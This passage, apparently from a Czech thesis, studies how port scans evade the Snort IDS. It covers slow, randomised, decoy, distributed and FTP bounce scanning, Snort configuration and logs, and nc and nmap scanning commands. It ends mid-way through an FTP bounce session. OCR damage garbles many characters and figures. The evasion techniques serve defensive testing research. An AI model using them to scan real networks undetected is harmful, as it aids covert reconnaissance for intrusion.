Pro detekci lokalnich MitM ttokt 1ze pouzit modul arpspoof néstroje Snort
[18]. Ten umoznuje detekovat nespravné pritazeni MAC adresy k IP adrese na
zékladé definovaného pravidla a tim odhalit nejbéznéji pouzivany MitM ttok
na lokalni siti. Umoznuje také detekci unicast ARP dotazii, které se v bézné
komunikaci nevyskytuji, nebot ARP dotazy jsou vzdy posiliny jako broadcast.

1.5.3 Detekce titokt na aplikacni vrstvé

Detekce utoku typu SQL Injection, Cross-Site Scripting a dalsich je prova-
déna detekénimi systémy na zakladé konkrétnich signatur pro dané utoky.
Pokud detekéni systém obsahuje spravnou signaturu, je takovy utok zachycen
okamzité [19].

1.6 Skryvani sitovych atoku

Utocnici maji snahu svoji énnost skryvat proto, aby nebylo mozné odhalit
probihajici Gtoky a z divodu zabranéni naslednému dohledani zdroje itoku —
IP adresy utocnika, ktera by mohla vést k odhaleni jeho identity. Skryvani se
dé provést napriklad nésledujicimi zpusoby:

e Omezeni moznosti detekce ttoku na IDS/IPS zarizeni.

— Slow scanning

— Randomizace
e Maskovani zdrojové adresy utocnika.

— Distributed scan
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— Decoy scan
— FTP bounce scan

— Anonymized scan

1.6.1 Slow scanning

Pomalé skenovani slow-scan slouzi k zamezeni detekce skenovani béznymi IDS
nastroji. Jednotlivé pakety jsou posilany vzdy po urc¢itém casovém intervalu
tak, aby IDS nastroje takovyto druh ttoku nezaznamenaly.

IDS zaTizeni obvykle pocitaji pocet podezrelych paketii béhem urcitého
¢asového tseku (okna) [I8]. Kdyz okno skonéi, napocitané udaje se vynuluji a
zacnou se pocitat znovu pro nové ¢asové okno. Pokud tedy bude utoka v kaz-
dém okné méné, nez je nastavena prahova hodnota pro detekci itoku, nebude
vygenerovan poplach a ttoky mohou klidné dale pokracovat v nastaveném
pomalém tempu.

Problémem pomalého skenovani je jeho dlouhé doba potrebnd na provéreni
vétsitho rozsahu skenovanych portti nebo adres. Tento druh tutoku lze také
odhalit sofistikovanéjsimi IDS sondami, nebo behavioralni analyzou provozu.

1.6.2 Randomizace

Pro zamaskovani utoku je vhodné skenovaci provoz piipodobnit klasickému
provozu generovaného béznymi uzivateli a systémy na siti. K tomu mizeme
vyuzit randomizace tak, ze skenovani budeme prokladat pauzami o néjaké
nidhodné generované délce simulujici redlné chovani uzivateli.

Poissonovo rozdéleni a Poissontiv proces se pouzivaji pro modelovani poctu
udalosti, které nastanou béhem daného casového intervalu — jako napriklad
pocet zakazniku, kteii prijdou do obchodu za hodinu, nebo pocet pristupti na
webovou stranku béhem jedné minuty [20]. Pocet takovych udélosti N pak
splnuje

)\k
_ =
P(N—k)—e H,

k =0,1,2,..., (1.3)
kde A je primérny pocet za jednotku casu.

Pro simulaci readlného provozu by ¢asy mezi jednotlivymi dotazy mély mit
exponencialni rozdéleni [20, 21]. Je tedy potieba generovat nezavislé exponen-
cidlné rozdélené hodnoty casti pro pauzy, vkladané mezi jednotlivé dotazy.

Rovnéz neni vhodné systematicky (napiiklad inkrementdlné) prochazet
skenované adresy a c¢isla portti. Vhodnéjsi metodou je vybirat z daného roz-
sahu adres a portu ndhodné.
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1.6.3 Distributed scan

Distribuované skenovani — neprovadi skenovani piimo z utoc¢nikova pocitace,
ale vyuziva jim ovlddanych zafizeni (obvykle iplné cizich pocitaci, napade-
nych trojskym koném) — takzvanych zombies [22]. Na IDS zafizeni jsou pak
zaznamenany adresy zombies, ale titoénikova adresa zistava skryta.

1.6.4 Decoy scan

Skenovani za pomoci navnady probiha tak, ze ttoc¢nik posila nejen svoje ske-
novaci pakety, ale také pakety s podvrzenou IP adresou. Takto jakoby simuluje
skenovani z vice adres. Bezpecnostni zafizeni nemtize rozpoznat adresu toc-
nika od adresy navnady a tak nemuze jednoznacné identifikovat tto¢nika [22].

1.6.5 FTP bounce scan

Tato metoda vyuzivd FTP serveru podporujicich protokol FXP [23]. Tento
protokol slouzi k pfenosu souborii mezi dvéma vzdalenymi servery na primo,
bez smérovani datového toku pres klientské spojeni. Funguje tak, ze jeden se
server nastavi do pasivniho médu a druhému serveru se zadé prikaz k navazani
pfimého spojeni na pasivni server (adresu a port). Pfenos souboru pak muze
probihat pfimo mezi servery po navazaném transportnim spojeni.

FXP se da vyuzit pro skenovani portu tak, ze se ito¢nik pripoji na néjaky
server podporujici FXP a zada mu prikaz pro pripojeni na skenovanou adresu
a port [23]. Poté zadéd prikaz k pfenosu souboru (obvykle staci prikaz LIST
pro vypis aktudlniho adresare). Pokud je na cilové adrese zadany port otevien,
server prohlasi ptikaz za spésny — ilustrace na obr. V opacném piipadé
nahlasi chybu spojeni — obr. Utoénik tak zjisti stav skenovaného portu a
jeho adresa nebude zaznamenana na cilovém systému ani na IDS.

—1m,1g‘a?§;_u 135"
LIST. >
——S¥N+Port 135—4
4—SYNIACK
ACK, -
Source < 228 Transter
192.168.0.8 Complete FTP Server Destination
192.168.0.7 192 168.0.5

Obrézek 1.5: FTP Bounce scan — otevieny port, prevzato z [23]
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_192.125.?;&.9@_"
LIST.
——SYN+Port 93—
-+ RST
Source 425 Can't Build Q
192.168.0.8 Data Connection — FTP Server Destination
192.168.0.7 192 168.0.5

Obrézek 1.6: FTP Bounce scan — uzavieny port, prevzato z [23]

1.6.6 Anonymized scan

Vyuzit{ anonymizac¢nich sluzeb pro zamaskovéani zdroje skenovéani (adresy ttoc-
nika) — napiiklad pokud se tto¢nik pred titokem pripoji do Internetu pies ano-
nymizaéni systém TOR. Utoénik sestavi spojeni (tunel) pfes anonymizacéni
sluzbu a skenovani pak provadi pres tento tunel. Jeho adresa tak zlstane
skryta a nemuze dojit k jeho odhaleni.

Priklad takového utoku a nastroju k jeho provedeni je popsan v [24].

1.7 Zabezpeceni sitové komunikace

V pocatcich pocitacové éry byla veskera komunikace nesifrovana — a to jak
mezi uzivateli, tak i mezi jednotlivymi siftovymi sluzbami. Postupem c¢asu
s rustem uzivateld sité a vznikem novych aplikaci bylo nutno urc¢ité typy ko-
munikace zabezpeéit (prikladem muze byt naptiklad bankovni komunikace).
Vznikly proto nadstavby pro jiz existujici protokoly, které toto umoznily. Nej-
Castéji pouzivané protokoly jsou SSL a TLS [25].

SSL a TLS protokoly poskytuji zabezpeceni sitové komunikace. Vyuzivaji
k tomu Sifrovani a autentizace komunikujicich stran. NejCastéji se pouzivaji
ve spojeni s protokolem HTTP. Takovato sifrovand komunikace je pak ozna-
covana jako HT'TPS a pro odliseni od klasického HTTP jeho serverova sluzba
naslouchd bézné na portu 443 (u HTTP je to port 80). SSL a TLS proto-
koly také poskytuji zabezpeceni pro dalsi sitové protokoly jako SMTP, POP3,
IMAP, FTP a XMPP.

1.7.1 Verze SSL a TLS

Bezpecnostni protokoly SSL a TLS existuji v nékolika verzich. Podporu verzi
téchto protokolt si fesi samotné aplikace. Vyvoj pokracuje dale jen u proto-
kolu TLS jakozto néstupce SSL.
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Verze SSL dle RFC 6101 [26]:
e SSL 2.0 prvni vefejné pouzitelnd verze vyvinutéd firmou Netscape

e SSL 3.0 tato verze fesi bezpecnostni nedostatky predchozi verze a pri-
davé nékteré funkéni moznosti (napt. volbu sifrovacich a kompresnich
algoritmi)

Verze TLS dle RFC 5246 [27]:

e TLS 1.0 — byva téz nékdy oznacovany jako SSL 3.1, vychézi z SSL 3.0.
Rozdil mezi nimi je maly, ale protokoly nejsou vzadjemné kompatibilni

e TLS 1.1 - pridana obrana proti cipher-block chaining (CBC) ttokim

e TLS 1.2 — nahrazeny starsi verze hasovacich funkci novéjsimi (MD5-
SHA-1 kombinace za SHA-256)

e TLS 1.3 — v soucasné dobé (jaro 2015) je ve verzi navrhu, obsahuje dalsi
bezpecnostni vylepseni

1.7.2 Sifrovaci sady

Sifrovaci sada (Cipher Suite) u SSL a TLS slouzi k zabezpeéeni ifrovaného
provozu. Obsahuje nésledujici algoritmy [27]:

e Algoritmus pro vyménu klice — RSA, DH, DHE, ECDHE;, ...
e Algoritmus ovéreni identity serveru — RSA, DSA, ECDSA, ...
e Symetrickou sifru — RC4, DES, 3DES, AES, Camellia, ...

e Hasovaci algoritmus — MD5, SHA, ...

1.7.3 Sestaveni zabezpecené komunikace HTTPS

Sestaveni SSL spojeni probihd v nasledujicich krocich [28]:
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e Client Hello
Klient posild serveru informace o verzi protokolu, ktery chce pouzit pro
komunikaci (standardné tu nejvyssi, kterou umi), seznam jim podporo-
vanych kryptografickych algoritmt a dalsi parametry.

e Server Hello
Server odpovida klientovi — posila verzi protokolu kterym chce komu-
nikovat, sadu kryptografickych algoritmu (Sifrovaci sadu) z klientovy
nabidky, sviij bezpec¢nostni certifikat, pripadny pozadavek na certifikat
klienta a dalsi parametry.
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& s

~~" Client Hello —

Server Hello

Server Certificate *

Server Key Exchange *
Client Certificate Request *
Server Hello Done

'y

Client Certificate *
Client Key Exchange
Certificate VYenfy * _—
[Change Cipher Spec]
Client Finished Message

[Change Cipher Spec]
Server Finished Message

A

Handshake Protocol

Record Protocol

Application Data -—p Application Data

Obrazek 1.7: Navazani TLS spojeni, prevzato z [29]

e Authentication and Pre-Master Secret
Klient si ovéri certifikat serveru, posle serveru vygenerovany zaklad Sifro-
vaciho klice zasifrovany verejnym klicem serveru a svij certifikat (pokud
o né&j by pozidén)

e Decryption and Master Secret
Server rozsifruje zaklad sifrovaciho klice svym privatnim klicem. Server
i klient si vygeneruji hlavni Sifrovaci kli¢ z daného zdkladu.

e Generate Session Keys
Mezi serverem a klientem pak probihad predavani klict pro spojeni, sif-
rované hlavnim klicem.

e Encryption with Session Key
Samotnd komunikace je pak Sifrovana symetrickou Sifrou pouzivajici
kli¢e spojeni.

Schématické znazornéni krokt navazani TLS zabezpeceného spojeni je zna-
zOrnéno na obr.

1.7.4 Bezpecnost SSL/TLS

SSL/TLS protokol mé zajistovat dostatecnou bezpecnost komunikace. Exis-
tuje vsak nékolik zpusobu, jak takto zabezpecenou komunikaci napadnout a
dostat se tak k origindlnim nezaSifrovanym datim, ktera jsou obsahem zabez-
pecené komunikace [4].
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Mohou to byt metody vyuzivajici bezpecnostnich slabin hlavné starsich
verzi protokoli SSL. Nebo mnohem jednodussi zpusoby, které vyuzivaji ne-
znalosti ¢i neopatrnosti koncovych uzivateli, nebo nedostatecné kvalitné na-
psanych aplikaci pracujicich se SSL/TLS.

Pro zajisténi bezpecné komunikace je potieba provadét minimélné nésle-
dujici kroky:

e Kontrolovat serverovy certifikidt (nazev, vydavatel, platnost)
e Vyhnout se pouziti starsich verzi protokolu (hlavné SSL)
e Pouzivat silné sifry

e Pouzivat aktualizované aplikace s podporou HSTS

1.7.4.1 HSTS

HTTP Strict Transport Security je bezpecnostni mechanismus, ktery umoz-
nuje webovym strankam, aby vyzadovali komunikaci pouze ptes zabezpecené
spojeni [30]. Znemoznuje tak utoc¢nikovi vlozit do HTTPS komunikace néjaké
nesifrovana data protokolem HTTP. Timto zptisobem jsou totiz provadény
nékteré MitM utoky — naptiklad SSL-stripping, kdy uto¢nik navaze zabezpe-
¢enou komunikaci mezi se serverem a ke klientovi uz odesila nesifrovand data
protokolem HTTP. Napadeny tifeba ani netusi, ze by komunikace méla byt
sifrovana a utoc¢nik tak vidi cely obsah dané komunikace.

Informace o vynuceni pouze HTTPS komunikace je obsazena v HTTP
hlavi¢ce Strict- Transport-Security. Podpora HSTS musi byt implementovana
jak ve webovém prohlizeci, tak i na serveru.

1.7.4.2 Oficialni doporuceni pro zabezpeceni komunikace

Byla vydana mnoha doporuceni, jak zajistit bezpecnost komunikace v interne-
tovém provozu. Jsou to naptiklad americké vladni predpisy a standardy jako
FIPS 140-2 [31], nebo doporuceni nezavislych bezpecnostnich organizaci. Jed-
nou z nich je OWASP — The Open Web Application Security Project. Podle
doporuc¢eni OWASP by bezpecné webové servery nemély pouzivat [32]:

e SSL2 a SSL3 protokoly

kompresi, komprimaci

symetrické Sifrovaci algoritmy s méné nez 112 bity

X.509 certifikaty s RSA nebo DSA klicem mensim nez 2048 bita

X.509 certifikaty pouzivajici MD5 hash

24



1.7. Zabezpeceni sitové komunikace

1.7.5 Nastroje pro testoviani SSL/TLS zabezpeceni

Na Internetu lze nalézt nékolik néstroju umoznujicich otestovani SSL/TLS
zabezpeceni webovych serverti. Vétsina z nich funguje jako on-line webova
sluzba. Mezi nejzndméjsi patii Qualys SSL Server Test [33]. Ukézka vystupu
z tohoto néstroje je na obr. Qualys SSL Server Test umi zjistit nasledujici
udaje o webovém serveru:

e Informace o serverovém cerifikatu.

e Podporované protokoly.

Podporované Sifrovaci sady.

Podporu klientskych aplikaci.

Zranitelnosti protokoli serveru

Summary

Overall Rating

Certificate 100

Protocol Support

Key Exchange 80

Cipher Strength 90

0

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.

20 40 60 80 100

This server uses S5L 3, which is and Grade to B. MORE INFO »

The server supports only older protocols, but not the current best TLS 1.2. Grade capped to B.
This server accepts the RC4 cipher, which Is weak. Grade capped to B. MORE INFO »

The server does not support Forward Secrecy with the reference browsers. MORE INFO »

Obrazek 1.8: Ukazka vystupu s Qualys SSL Server Testu, prevzato z [33]

Ostatni webové SSL testery vétsinou pouzivaji rozhrani Qualysu, takze
poskytuji identické vysledky testovani.

Existuji jesté specializované néstroje pro ovéreni certifikatu serveru nebo
ovéfeni podpory konkrétni Sifry. Vétsinou se opét jednd o webové nastroje,
které se nedaji nijak upravit — aby poskytovaly konkrétni informace v poza-
dované formé.
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Navrh

Jednou z prvnich fazi penetracnich testt je Scanning (viz sekci . V této
fazi dochézi k cilenému prizkumu (skenovani) cila penetracnich testi. Je tfeba
odhalit jaké cile jsou k dispozici na testované siti (horizontal scan) a jaké
sluzby jednotlivé cile nabizeji (vertical scan). Utoénici provadéji podobné ske-
novani a pravé tato pripravnd faze ttoku by méla byt odhalovana jako prvni.
Pokud je tspésné odhalena bezpecnostnim systémem, existuji moznosti jak
pripadnou dalsi komunikaci (nésledujici penetraéni testy) ihned zablokovat.
Pro usnadnéni legitimniho penetrac¢niho testovani je vyhodné testovaci po-
¢itace z detekce vyloucit a neblokovat je. AvS8ak pro testovani spolehlivosti
nasazeného IPS je detekce legitimniho penetracniho testu zadouci.

Nékterd IPS zafizeni umi pii detekci dtoku piimo zadat prikaz firewallu
pro nastaveni pravidla k odfiltrovanim komunikace ze zdrojovych (tocniko-
vych) adres. V pripadé pouziti IDS by o skenovani na siti mohl byt informovan
administrator e-mailem nebo pres SMS a ten by obdobny krok (vlozeni pra-
vidla do firewallu) mohl u¢init manualné. Tim by doslo k zamezeni dalsich
utoktl z detekovanych utocénikovych adres.

Pokud by bylo mozné tvodni prizkumnou fazi skryt nebo zamaskovat
tak, aby skenovani nebylo odhaleno, umoznilo by to dto¢nikiim soustredit
se na dalsi faze Utokd aniz by jejich snaha byla odhalena nebo zablokovana
ihned v pocatecni fazi. Ukézalo by to vsak konkrétni slabinu bezpecnostniho
systému, kterou by bylo vhodné néjak efektivné odstranit.

2.1 Penetracni testy

Pro provadéni penetrac¢nich testti a sledovani reakci detekéniho systému na
tyto testy je tfeba postavit testovaci prostiedi simulujici redlnou sit. V tomto
pripadé uvazujeme simulaci utoki z vnéjsi sité do lokélni sité (simulace ttoku
z Internetu do LAN sité néjaké firmy). Utocnik bude tedy za routerem, mezi
routerem a lokalni siti bude umistén IDS systém. V bézné siti by byl v cesté
jesté firewall, ale ten by v tomto pripadé mohl zachytit pakety, které chceme
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pcl
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; rawter zmall hub _
Scanner switch pc?
DS pcd

Obrazek 2.1: Schéma testovaciho prostiedi pro skenovani portii

nechat projit az na IDS a sledovat reakci detekéniho systému — jestli bude
detekovat tutok, nebo ne. Doslo by tak potencidlné ke zkresleni reakce IDS
na skenovaci fazi atoki. Proto se v testovacim prostredi firewall nenachazi.
V praxi takovéto usporadani odpovida pouziti firewall bez spoluprace s IPS,
nebo skenovani ato¢nikem z vnittku sité.

2.1.1 Testovaci prostredi pro penetracni testy

Schéma zapojeni testovaciho prostredi je znazornéno na obr. Testovaci
pocitac¢ (Scanner), ze kterého jsou provadény ttoky je umistén za router mimo
testovanou sit a posila skenovaci pakety na zarizeni v lokalni siti — pocitace pcl,
pc2 a pe3 (cile). Takto je simulovan externi utok (napiiklad ttok z Internetu).
IDS zarizeni umisténé hned za routerem smérem do lokalni sité pak miize
sledovat vSechny pakety smérujici od tto¢nika na cilova zafizeni a obracené.

2.2 Testovani zabezpecené komunikace

Za 1ucelem ovéreni spolehlivosti zabezpecené komunikace mezi klientem a ser-
verem budou provadény utoky na tuto komunikaci s cilem jejtho prolomeni
(ziskani originalnich nesifrovanych informaci). K ovéfeni sily zabezpeceni webo-
vého serveru bude vyvinuta specialni aplikace vyuzivajici dalsich dostupnych
open-source nastroju.
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©
|

laptop " accesspaint T rouker Internet

attacker

Obrazek 2.2: Schéma testovaciho prostiedi pro MitM ttoky

2.2.1 Testovaci prostredi pro itoky na zabezpecenou
komunikaci

Testovaci prostfedi mé simulovat titok na bézné siti s Wi-Fi access pointem
(naptiklad v domadci siti nebo v hotelu, kavarné, ¢i restauraci), kde tto¢nik
miize provadét MitM utoky na zarizeni pripojend do stejné sité. To mohou
byt predevsim mobilni telefony a notebooky. Schéma zapojeni testovaciho
prostied{ je zndzornéno na obr. 2.2l Laptop znézornuje klientské zafizeni —
notebook nebo mobilni telefon, Attacker je pocita¢ ttoc¢nika.

Po provedeni tdtoku (presmérovani komunikace mezi klientskym zafizenim
a serverem v Internetu pres pocitac¢ titocénika) bude sledovana reakce klientské
aplikace na telefonu ¢i notebooku — jestli detekuje utok, jakym zpusobem na
néj zareaguje a jak upozorni uzivatele na probihajici ttok.

U webovych prohlizeci je bezné, Ze uzivatel je varovan o nespolehlivém
sifrovaném spojeni a mozném tutoku. U ostatnich aplikaci je stupen ovérovani
a varovani uzivatele nezndmy. Toto predstavuje velmi zavaznou bezpeénostni
hrozbu, kterou nelze efektivné odhalit jinak nez peclivou analyzou zdrojového
kédu aplikace, nebo zde prezentovanym penetra¢nim testem [4].
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Realizace a testovani

V této praci jsou jsou popsany a otestovany ruzné metody pro minimalizaci
moznosti odhaleni penetrac¢nich testi (nebo ttoki) na bezpecnostnim systému
Snort. Dalsi bezpecnostni systémy nebyly z dtivodu aktualni nedostupnosti
testovany. U ostatnich IDS/IPS systému se predpoklada obdobné chovani pti
odhalovani utokt, zatimco u behavioralni analyzy lze ocekavat sofistikovanéjsi
metody pro detekci anomalii v sitovém provozu.

3.1 Konfigurace testovaciho prostredi

Testovaci prostfedi pro penetracni testy bylo pro snadnéjsi instalaci virtualizo-
vano. Na hlavnim pocitaci byla spusténa virtudlni instance routeru s IDS sys-
témem Snort a dalsi virtualni instance simulujici uto¢nikiv pocita¢ (Scanner)
umistény mimo lokaln{ sit. Utoky byly spoustény z testovaciho virtudlniho
stroje (Scanner) a pfes virtudlni router s IDS smérovany na cilové pocitace
v lokdalni siti. Celé virtualni prostiedi simulovalo navrzené prostiedi z obr.
kapitoly navrh.

Na Scanneru bylo nastaveno vice IP adres a jejich pouzitim byly simulo-
vany utoky z ruznych zdroju — distribuované tutoky, decoy scan a randomizace.
Operaéni systém vsech pocitact byl Ubuntu 14.10. Pro virtualizaci byl pouzit
Oracle VM VirtualBox Manager. Verze IDS systému Snort: Version 2.9.6.0
GRE (Build 47).

3.1.1 Konfigurace IDS

Konfigurace detekéniho systému Snort se standardné nastavuje v souboru
snort.conf. Zékladni ipravou konfigura¢niho souboru je nastaveni prostredi
tak, aby systém védél, které adresy na nachdzeji v interni (domadci) siti a
které jsou naopak externi.

ipvar HOME_NET 192.168.1.0/24
ipvar EXTERNAL_NET !$HOME_NET
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Konfigurace spusténi systému Snort na distribuci Ubuntu a Debian je na-
stavena v konfiguracnim souboru snort.debian.conf:

DEBIAN_SNORT_STARTUP="boot"
DEBIAN_SNORT_HOME_NET="192.168.1.0/24"
DEBIAN_SNORT_OPTIONS=""
DEBIAN_SNORT_INTERFACE="eth1"
DEBIAN_SNORT_SEND_STATS="true"
DEBIAN_SNORT_STATS_RCPT="root"
DEBIAN_SNORT_STATS_THRESHOLD="1"

Init script pak spousti sluzbu Snort s témito parametry:

/usr/sbin/snort -m 027 -D -d -1 /var/log/snort -u snort -g snort \
-c /etc/snort/snort.conf -S HOME_NET=[192.168.1.0/24] -i ethl

3.1.1.1 Modul sfPortscan

O detekei skenovani porti se v detekénim systému Snort stard modul (pre-
processor) sfPortscan. Je navrzen tak, aby detekoval ruzné druhy skenovani a
specialné optimalizovan pro detekci skent provadénych nejbéznéjsim skenova-
cim nastrojem — Nmapem.

Zakladni konfigura¢ni parametry modulu sfPortscan jsou:

e scan_ type
Toto nastaveni nastavuje jaky typ utok ma sfPortscan detekovat:

— Portscan — detekce anomalii v sifovém provozu, které vznikaji pti
skenovani mnoha portua jednoho konkrétniho zarizeni. Typ tohoto
atoku byva také oznacovan jako vertical scan.

— Portsweep — detekce skenovani jednoho portu na velkého mnozstvi
cilovych zafizeni (nebo i malého poc¢tu ruznych porti). Typ ttoku
se oznacuje jako horizontal scan.

— decoy__portscan — detekce maskovaného skenovani. Velké mnoz-
stvi zarizeni provadéjicich skenovani, malé mnozstvi skenovanych
zaf{zen{, maly pocet porti. Utocnik se skryva mezi velkym mnoz-
stvim zdrojovych adres.

— distributed__portscan — velké mnozstvi porti na jednom zatizeni
je skenovano z mnoha zafizeni.

e proto
Zde se specifikuje typ protokolu, ktery ma byt skenovan — TCP, UDP,
ICMP, nebo vSechny tfi najednou.
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3.1. Konfigurace testovaciho prostiedi

e Sense levels
Snort modul sfPortscan méa tfi moznosti nastaveni trovné citlivosti na
sitové udalosti. Jsou to:

— Low. V tomto nastaveni jsou poplachy generovany pouze pti de-
tekci negativnich odpovédi (RST paketit) od cilovych adres. Casové
okno je nastaveno na 60 sekund a po jeho vyprseni se pocitadla
udélosti nuluji.

— Medium. Toto nastaveni kontroluje pocet spojeni na zarizeni a
generuje poplach i na TCP ACK skenovani. Mtze vygenerovat i
falesné poplachy pro hodné komunikujici zatfizeni jako jsou proxy,
DNS a DC servery. Casové okno je 90 sekund.

— High. Toto nastaveni prubézné monitoruje zarizeni na siti a po
dobu ¢asového okna vyhodnocuje statistiky pro jednotliva zatizeni.
Meélo by byt schopno detekovat i slow-scan ttoky, ale zase je u néj
velkd pravdépodobnost generovani falesnych poplachit. Casové okno
mé velikost 600 sekund.

Zdroje informaci: [I8] [34] [15]

3.1.1.2 Nastaveni Snort poplachi

Snort umoznuje rizna nastaveni pro zaznamenavani udéalosti. Modul sfPorts-
can ale pouziva sviij vlastni soubor, do kterého jsou zaznamenavany udélosti
detekované vyhradné timto modulem.

Uprava konfiguraéniho souboru néstroje Snort (snort.conf) pro pouziti mo-
dulu sfPortscan:

# full

output alert_full: alert.full

preprocessor sfportscan: scan_type { all } proto { all } \
sense_level { high } logfile { /var/log/snort/psalert }

3.1.1.3 Detekce udalosti modulem sfPortscan

Zde je ukazka ruznych detekovanych udalosti (TCP a UDP horizontalni a ver-
tikdln{ skenovéni) zaznamenanych modulem sfPortscan do jeho log souboru:

Time: 03/26-20:49:11.537443

event_ref: O

192.168.11.10 -> 192.168.1.1 (portscan) TCP Portscan
Priority Count: 5

Connection Count: 5

IP Count: 1

Scanner IP Range: 192.168.11.10:192.168.11.10
Port/Proto Count: 5

Port/Proto Range: 10:14

33



3. REALIZACE A TESTOVANI

Time: 03/26-21:04:09.058648

event_ref: O

192.168.11.10 -> 192.168.1.99 (portscan) TCP Portsweep
Priority Count: 5

Connection Count: 252

IP Count: 254

Scanned IP Range: 192.168.1.0:192.168.1.255

Port/Proto Count: 3

Port/Proto Range: 80:443

Time: 03/26-20:25:20.564623

event_ref: 0O

192.168.11.10 -> 192.168.1.1 (portscan) UDP Portscan
Priority Count: 5

Connection Count: 10

IP Count: 1

Scanner IP Range: 192.168.11.10:192.168.11.10
Port/Proto Count: 10

Port/Proto Range: 445:62575

portscanudp (UDP)

Time: 03/26-16:27:20.020665

event_ref: O

192.168.11.10 -> 192.168.1.255 (portscan) UDP Portsweep
Priority Count: 6

Connection Count: 9

IP Count: 5

Scanned IP Range: 192.168.1.1:255.255.255.255
Port/Proto Count: 5

Port/Proto Range: 80:17500

3.2 Skenovaci metody

3.2.1 Host discovery

Host discovery (host scan) ma za tkol odhalit vSechna dostupnd zafizeni na
cilové siti. Kromé postupného posilani napriklad ICMP paketi na jednotlivé
adresy ze skenovaného rozsahu je mozné pouzit ICMP broadcast, ktery vysla-
nim jednoho paketu muze kontaktovat vSechna skenovand zafizeni a tim snizit
dobu potrebnou pro skenovani a zmensit pravdépodobnost detekce skenovani.

ping -b 192.168.1.255 (IP_Broadcast_Address)

ICMP broadcast vSak byva na routerech filtrovan (neni preposilan na vy-
stupni rozhrani) a nékdy byva i blokovan na koncovych zatizenich (zafizeni na
néj nereaguje), takze jeho pouziti je sice jednoduché a rychlé, ale na druhou
stranu dosti nespolehlivé.
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3.2.2 Horizontal scan

Horizontal scan se vyuziva na testovani stavu konkrétniho portu na vice poci-
tacich. Dotazy (skeny) jsou posilany podobné jako u host discovery na urcity
rozsah (nebo seznam) IP adres. Horizontalni skenovani muzeme pouzit na-
priklad pro zjisténi na kterych IP adresach v lokalni siti je spusténa HTTP
sluzba.

nmap -p 80 192.168.1.0/24

3.2.3 Vertical scan

Nejcastejsi typ skenovani je wvertical scan, jehoz cilem je zjistit seznam otevie-
nych portd — seznam sluzeb spusténych na konkrétnim zarizeni. Podle zjisté-
nych sluzeb je mozno zacit planovat dalsi fazi itoku zamirenou jiz na konkrétni
zranitelnost urc¢ité sluzby, kterd je na daném zafizeni spusténa.

Pro skenovani otevienych TCP portii se ukazal jako nejlepsi typ TCP
SYN scan (jinak také oznacovany jako half-connect nebo half-open scan). Jeho
velkou vyhodou je rychlost a oproti ostatnim typhm skenovani také vcelku
jednoznacnd odpovéd (SYN ACK nebo RST). Je tedy hned jasné, jestli je
testovany port otevieny nebo uzavrieny.

Jako skenovaci néstroj se nejlépe osvédcil NetCat. Jeho vyhodou oproti
Nmapu je jeho jednoduchost. Nmap se snazi pouzivat sofistikované metody
skenovani, kdy kombinuje ruzné pakety pro co nejvétsi tc¢innost nalezeni ote-
vienych portu. Ale jelikoz je jeho chovani zndmé, jsou detekéni systémy od-
ladény pro jeho snadné odhaleni. Pro skryvani itokl se tedy ukazal jako ne-
vhodny nastroj.

Pouziti nastroje NetCat pro skenovani portu:

TCP SYN:

nc -zv $IPDST -s $IPSRC $PORT
UDP:

nc -zuv $IPDST -s $IPSRC $PORT

3.2.4 Block scan

Kombinaci horizontalniho a vertikalniho skenovani je block scan. Tento typ
byvéa vyuzivan nékterymi ttocniky pro znesnadnéni detekce ttoku.

3.3 Testované zptisoby zamezeni detekce

Na testovacim prostredi byly proviadény rizné metody skenovani portu a sle-

dovany zaznamy v logu z pluginu sfPortscan, ze kterych bylo vidét, jestli byla
dand metoda skenovani detekovana nebo ne.
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Skenovani bylo providéno Bash skriptem, ve kterém byly upravovany pa-
rametry testovani pro zvolenou metodu. Script vyuzival nastroje NetCat pro
posilani paketii, nastroji RG [35] pro generovani ndhodnych hodnot (nor-
malni rozdéleni pro vybér portu a cilové adresy, exponencidlni rozdéleni pro
délku pauzy) a microsleep pro vkladani ¢asové prodlevy mezi jednotlivymi
skenovacimi pakety. Testované zpiisoby zamezeni detekce:

e nihodné poradi skenovanych porti

e skenovani vice adres (zarizeni) najednou

e skenovani z ruznych adres

e skenovani ruznych portt na vice zarizenich

e riizné ¢asové intervaly mezi jednotlivymi skenovacimi pakety

e pakety posilané po ndhodné dobé (exponencialni rozdéleni simulujici né-
hodné dotazy)

e prokladani skenovacich paket korektnimi dotazy na oteviené porty —
poslani celého connect()

e kombinace ruznych typu skenovani se zachovanim maximalniho mozného
poctu pro kazdy typ v casovém okné tak, aby nedoslo k odhaleni

3.3.1 Slow port scan

Pomalé skenovani portti mtze oklamat vétsinu IDS systému. Spociva v posi-
lani skenovacich paketii po urcitém ¢asovém intervalu (vkladani pauzy mezi
jednotlivé pakety). Pokud je vlozena pauza dostatecné velka (Fadové vétsi nez
jednotky minut), je vysokd pravdépodobnost, ze skenovani nebude detekovano.

Existuji vSsak metody a néstroje, které dokazi takovyto typ atoku odhalit.
Prikladem muze byt behavioralni analyza (NBA), kterd detekuje skenovani
na zakladé svych naucenych profili chovani zafizeni na siti. Dalsim zpiisobem
miize byt vyuziti statistickych metod. Normélni provoz by mél byt alespon
z vetsi ¢asti popsatelny néjakym statistickym modelem, do kterého pomalé
pravidelné skenovani porti nezapadne. Toto skenovani je pak vyhodnoceno
jako anomaélie v provozu a muze byt pak manualné nebo automaticky klasifi-
kovéno jako utok (nebo jako konkrétni typ skenovani).

Dalsi zajimavou metodou detekce pomalého skenovani portu je také me-
toda postupného zvétsovani detekéniho okna pro konkrétni adresy klasifiko-
vané jako podezrelé. To umozni mit dostatecné velké Casové okno, aniz by
nasbirana data zabirala extrémni mnozstvi paméti, protoze v prodlouzeném
okné udrzuje jen udaje pro omezené mnozstvi podezrelych adres. Tato metoda
je popsana naptiklad zde: [17].
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3.3.2 FTP bounce scan

FTP bounce scan se da tspésné pouzit ke skenovani porti, tak aby adresa
utoc¢nika nebyla zaznamendna na cilové siti. K jejimu pouziti je potieba nalézt
dostupny FTP server s podporou FXP a idedlné s povolenym anonymnim
pristupem.

Utoénik se pfipoji na FTP server a zad4d mu piikaz pro odeslani dat na
jinou adresu a port (na skenovany cil). Pokud je port otevieny, dostaneme
odpoved 226 Directory send OK. V ptipadé uzavieného portu je odpovedi 426
Failure writing network stream.

Priklad tspésného odhaleni jednoho otevieného a jednoho uzavieného portu
pomoci FTP bounce skenovani:

telnet 172.16.1.101 21

Trying 172.16.1.101...

Connected to 172.16.1.101.

Escape character is ’7]°.

220 (vsFTPd 2.0.1)

USER user

331 Please specify the password.

